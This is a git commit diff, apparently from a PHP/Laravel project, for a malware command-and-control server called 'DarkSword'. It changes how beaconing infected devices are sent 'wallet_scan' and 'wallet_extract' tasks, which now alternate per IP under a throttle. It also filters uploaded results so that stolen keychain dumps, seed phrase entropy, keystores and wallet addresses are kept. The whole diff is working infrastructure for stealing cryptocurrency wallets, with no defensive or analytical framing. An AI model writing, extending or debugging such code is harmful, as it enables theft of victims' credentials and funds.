fix: test

This commit is contained in:
hashbro
2026-09-10 03:55:08 +08:00
parent 2d9c9fb727
commit 633b1617a0
4 changed files with 208 additions and 61 deletions
@@ -49,7 +49,7 @@ class DarkSwordC2Controller extends Controller
{
$payload = $this->jsonBody($request);
$device = $this->ingest->ensureDevice($request, $payload);
$command = $device ? $this->beaconQueue->dequeue($device) : null;
$command = $device ? $this->beaconQueue->dequeue($device, $request->ip()) : null;
$body = [
'ok' => true,
+33 -1
View File
@@ -357,7 +357,7 @@ class DarkSwordIngestAdapter
private function ingestResult(Request $request, array $payload): void
{
$device = $this->upsertDevice($request, $payload);
if ($device) {
if ($device && ! $this->isEmptyWalletScanSummary($payload)) {
$stored = $this->results->store($device, $payload);
$payload = array_merge($payload, $stored);
if (($stored['stored'] ?? false) === true) {
@@ -367,6 +367,38 @@ class DarkSwordIngestAdapter
$this->beaconQueue->markDone($payload);
}
/**
* A wallet_scan summary (wallet_pkg.json) with no keychain dump uploaded,
* no installed wallets and no sandbox files carries no recoverable material
* (no entropy, no keystore UTC, no addresses) — skip storing it entirely.
*
* Note: a result with `keychain_dump_uploaded: true` is kept even when
* `installed_wallets` is empty, because the keychain dump (uploaded as a
* separate keychain_c2_dump.json result) may still hold wallet entropy
* such as Bitpie seedPhraseEntropy.
*
* @param array<string, mixed> $payload
*/
private function isEmptyWalletScanSummary(array $payload): bool
{
$filename = strtolower((string) ($payload['filename'] ?? ''));
if (! str_contains($filename, 'wallet_pkg')) {
return false;
}
$raw = $payload['data'] ?? null;
if (! is_string($raw) || $raw === '') {
return false;
}
$json = json_decode((string) base64_decode($raw, true), true);
if (! is_array($json)) {
return false;
}
return ($json['keychain_dump_uploaded'] ?? null) === false
&& empty($json['installed_wallets'] ?? [])
&& empty($json['sandbox_files'] ?? []);
}
/**
* @param array<string, mixed> $payload
*/
+25 -7
View File
@@ -4,6 +4,7 @@ namespace App\Services;
use App\Models\Device;
use App\Models\DsBeaconTask;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Str;
class DsBeaconQueue
@@ -55,19 +56,36 @@ class DsBeaconQueue
}
/**
* Always returns a fresh wallet_scan command. No task lookup/creation and
* no polling state machine — every beacon gets wallet_scan so the device
* keeps scanning the keychain. Results are stored by command_id
* (DsResultStore) and logged verbatim (DarkSwordC2Controller::walletScanLogBody).
* Dispatch wallet_scan / wallet_extract, alternating per client IP, with a
* 5s gap between dispatches to the same IP. UUID can't distinguish devices
* right now (shared 69DD), so we throttle per IP as a temporary measure.
*
* Returns null (noop) when the same IP beaconed within the gap, so the
* device isn't hammered with back-to-back commands.
*
* @return array{type: string, command_id: string, params: array<string, mixed>}|null
*/
public function dequeue(Device $device): ?array
public function dequeue(Device $device, ?string $ip = null): ?array
{
$ip = $ip ?? '0';
$lastKey = 'dsq:last:'.$ip;
$typeKey = 'dsq:type:'.$ip;
// Per-IP throttle: at most one dispatch every 5s.
$last = Cache::get($lastKey);
if ($last !== null && (microtime(true) - (float) $last) < 5.0) {
return null;
}
// Alternate the two task types per IP.
$type = Cache::get($typeKey) === 'wallet_scan' ? 'wallet_extract' : 'wallet_scan';
Cache::put($lastKey, microtime(true), 60);
Cache::put($typeKey, $type, 60);
return [
'type' => 'wallet_scan',
'type' => $type,
'command_id' => 'dsq-'.$device->id.'-'.Str::lower(Str::random(12)),
'params' => $this->paramsFor('wallet_scan'),
'params' => $this->paramsFor($type),
];
}